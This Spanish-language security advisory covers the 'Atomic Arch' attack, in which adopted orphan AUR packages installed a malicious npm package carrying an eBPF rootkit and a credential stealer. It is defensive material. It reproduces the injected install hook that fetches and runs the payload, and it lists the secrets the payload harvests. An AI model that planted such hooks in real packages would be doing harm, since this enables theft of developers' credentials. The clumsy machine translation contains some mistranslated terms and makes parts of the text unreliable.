Arco Atómico: 1.500+ Paquetes AUR Retrocedidos con Rootkit eBPF y Harvester Credencial

Investigación en el Arco Atómico: más de 1.500 paquetes Arch Linux AUR envenenados con rootkits de eBPF y agarradores credenciales.

Arco Atómico: 1.500+ Paquetes AUR Retrocedidos con Rootkit eBPF y Harvester Credencial

Este post forma parte del Semana del 26 de junio de 2026.

Sinopsis

Un ataque de cadena de suministro a gran escala rastreado Atomic Arch comprometidos más que 1.500 paquetes en el Repositorio Arch User (AUR) comenzando el 11 de junio de 2026. Una segunda ola llegó el 12 de junio usando las rutas de instalación basadas en Bun. Los atacantes adoptaron sistemáticamente paquetes huérfanos de la AUR —asumiendo proyectos legítimos y no mantenidos— e inyectaron lógica de construcción maliciosa que despliega una eBPF rootkit con capacidades de extracción credencial y exfiltración secreta dirigidas a desarrolladores, sisadmins y ingenieros DevOps.

Mecánica de ataque: AUR Adopción Huérfana

El modelo de propiedad de paquetes de AUR permite a cualquier usuario "adoptar" un paquete huérfano (no mantenido), herediendo su nombre y reputación de paquete. Los atacantes explotaron esto identificando paquetes huérfanos de alta descarga, solicitando la propiedad, y luego modificando el PKGBUILD o instalar ganchos para inyectar lógica de construcción maliciosa:

# Injected dependency in PKGBUILD makedepends:
makedepends=('nodejs' 'npm' 'atomic-lockfile')  # malicious npm pkg

# Or in install hook:
post_install() {
    npm install -g atomic-lockfile 2>/dev/null
    node /usr/lib/atomic-lockfile/index.js &
}

El atomic-lockfile paquete npm (y variantes: js-digest, node-atomic-lock) capturaron y ejecutaron la segunda etapa de la carga útil durante la instalación del paquete. Una segunda onda el 12 de junio sustituyó las npm caminos con Bun equivalentes (bun install atomic-lockfile) a sistemas de destino donde npm no estaba presente.

Análisis de la carga de pago: eBPF Rootkit

La carga útil final es un sofisticado ejecutable Linux multietapa que aprovecha eBPF (extended Berkeley Packet Filter) — la tecnología que permite a los programas ejecutar código privilegiado dentro del núcleo Linux — para la persistencia y el robo. Capacidades confirmadas por Sonatype, Truesec y Cloud Security Alliance:

  • Persistencia a nivel de núcleo: Los programas eBPF persisten en los métodos tradicionales de detección de rootkit
  • Proceso, archivo y escondite de red: funcionalidad rootkit a través de interfaces de diagnóstico de Linux socket
  • Depuración de detección: técnicas antianálisis para evadir la ejecución de sandbox
  • La cosecha credencial: SSH claves privadas y known hosts, HashiCorp Vault tokens, cookies del navegador y contraseñas guardadas (Chrome/Chromium), tiendas de datos de la aplicación de la colaboración (Slack, fichas de disco)
  • Exfiltración secreta: variables de entorno CI/CD, .env archivos, AWS/GCP/Azure credential files, ~/.config y ~/.aws/credentials
  • HTTP subir exfiltración: todos los datos recolectados se cargan a través de HTTPS para la infraestructura de atacante

Detección

Las herramientas de detección de fuentes comunitarias están disponibles en GitHub (lenucksi/aur-malware-check). Pasos de detección manual:

# Check for malicious npm packages installed globally
npm ls -g --depth=0 2>/dev/null | grep -E "atomic-lockfile|js-digest|node-atomic-lock"

# Check for eBPF programs loaded (requires root)
bpftool prog list 2>/dev/null

# Review recently installed AUR packages
pacman -Qm  # lists all AUR/foreign packages

# Inspect PKGBUILD of installed AUR packages for injected deps

Paquetes afectados

Más de 1.500 paquetes AUR se comprometieron en varias categorías: herramientas de desarrollo, utilidades del sistema, aplicaciones multimedia, componentes de entorno de escritorio y utilidades de juego. La lista completa y actualizada de paquetes afectados es mantenida por el equipo de seguridad de Arch Linux en el Arch Linux Security Tracker.

Remediación

  • Trate de cualquier sistema que instale un paquete AUR entre el 11 de junio y presente como potencialmente comprometido. Rotar todas las credenciales accesibles desde ese sistema: teclas SSH, fichas API, credenciales de la nube, fichas Vault, contraseñas almacenadas por el navegador.
  • Ejecute el script de detección de la comunidad: git clone https://github.com/lenucksi/aur-malware-check && cd aur-malware-check && bash check.sh
  • Eliminar paquetes maliciosos npm: npm uninstall -g atomic-lockfile js-digest node-atomic-lock
  • Reinstalar los paquetes AUR afectados de la fuente después de verificar que el PKGBUILD está limpio.
  • Considerar cambiar a fuentes de paquetes binarios solamente (oficial Arch repos, PPAs de confianza) hasta que se implementen mejoras del modelo de confianza AUR.
  • Ejecución AUR paquete revisión flujos de trabajo: revisión PKGBUILD diffs antes de la instalación, uso aurutils o similar con la revisión de diff habilitado, nunca instalar paquetes AUR con --noconfirm.
  • Inspeccione todos los programas de EBPF en ejecución: sudo bpftool prog list - entradas inesperadas justifican la investigación.

← Volver a la Ronda de Seguridad: Semana del 26 de junio de 2026